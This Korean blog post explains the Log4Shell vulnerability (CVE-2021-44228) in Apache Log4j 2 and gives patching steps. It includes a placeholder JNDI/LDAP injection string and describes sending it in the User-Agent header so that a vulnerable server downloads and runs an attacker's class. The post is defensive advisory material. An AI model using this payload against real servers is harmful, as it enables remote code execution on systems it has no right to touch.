Log4j 취약점 이슈

과녁스·2021년 12월 13일
0

Java

목록 보기
2/8
post-thumbnail

개요


  • Apache Log4j 2 에서 발생하는 취약점(CVE-2021-44228)을 통해 악성코드 감염 등의 피해가 발생할 수 있어 최신 버전으로 긴급 업데이트가 필요
  • CVE-2021-44228 취약점(Log4Shell)은 치명적인 결함으로 간주되며, CVSS 스코어 10점으로 가장 높은 심각도

Log4j 취약점 확인


CVE

  • Common Vulnerability Exposure의 약자로 대중적으로 알려져있고, 영향을 미칠 수 있는 소프트웨어 취약점을 의미
  • 이번에 발견된 log4j 취약점에 해당

0-데이 취약점

  • log4j 보안 이슈는 0-데이 취약점(0 Day Vulnerability)에 해당
  • 0-데이 취약점이란 해커들이 개발자들보다 먼저 발견한 취약점을 의미
  • 개발자들은 취약점의 존재를 모르므로 공격 당했는지도 모름

Log4j

  • Log4j는 로깅 유틸리티로 아파치 오픈소스 라이브러리
  • 전 세계의 수 많은 서비스들이 Log4j를 로깅 유틸리티로 사용
  • 현재 문제가 있는 log4j라이브러리는 log4j-core-<version>.jar

Log4j 취약점

  • Log4j취약점은 Log4j가 넘겨받은 변수를 그대로 로깅하는것이 아니라 해당 변수를 분석해 실행 할 수 있는 경우 Lookups 기능에서 발견
  • 현재 취약점은 룩업 기능 중에서도 특히 JDNI라는 룩업을 이용해 공격이 가능
  • 2021년 11월 24일 Alibaba Cloud 보안 팀은 Apache Log4j 2 원격 코드 실행 취약점을 Apache에 공식적으로 보고
  • Apache Log4j 2의 일부 기능에는 재귀 분석 기능(recursive analysis functions)이 있기 때문에 공격자가 직접 악성 요청을 구성하여 원격 코드 실행 취약점을 유발할 수 있음

예시

  • log.info("디버깅 {} ", str); 에서 str이 ${env:USER}이라면 ${env:USER}를 그대로 로그를 남기지 않음
  • USER가 누군지 찾아서, "디버깅: userName" 이런식으로 안의 구문을 실행한 후 출력

LDAP

  • ldap은 Lightweight Directory Access Protocol의 약자로, 분산 디렉터리 서비스에서 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜
  • 디렉터리는 계층 구조로 구성된 레코드의 집합으로 위 정보로 구성
  • 현재 가장 쉽게 공격 할 수 있는 방법은 HTTP 헤더 User-Agent에 ldap주소를 넣어 코드를 다운받는 방법
  • Client, Server 구조를 기반
    LDAP은 TCP/IP Layer 기반이기 때문에 X.500보다 경량화된 구조
  • LDAP 정리 참고

LDAP 취약점

  • User-Agent가 아닌 다른 헤더나, 혹시 서버 어플리케이션이 리퀘스터에게서 받은 문자열을 로깅하는 경우에도 취약 확인
  • HTTP서버가 아니라 Job서버나 Async Worker 어플리케이션 등 사용자가 지정한 문자열을 로깅하기만 하면 취약점에 노출 될 수 있음
    ${jndi:ldap://&lt;host&gt;:&lt;port&gt;/&lt;path&gt;}

JNDI / JNDI를 이용한 공격

JNDI

  • JNDI(Java Naming and Directory Interface)는 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API
  • 자바 애플리케이션을 외부 디렉터리 서비스에 연결 (예: 주소 데이터베이스 또는 LDAP 서버)
  • 자바 애플릿이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고

JNDI를 이용한 공격

  • 공격자가 경로를 자신의 서버로 지정하면 취약점이 있는 서버가 공격자의 서버에서 클래스를 다운받는 것
  • 이렇게 공격자의 클래스를 다운받아 코드를 실행하는 것을 RCE(Remote Code Execution)이라고 함

예시

조치사항


버전확인

  1. log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색
  2. 검색결과 "사용버전(version)" 확인가능

조치

  1. 2.0-beta9 ~ 2.10.0 버전의 경우
    • JndiLookup 클래스를 경로에서 제거
    • zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  2. 2.10 ~ 2.14.1 버전의 경우
    • log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

기타


출처

참고

profile
ㅎㅅㅎ

0개의 댓글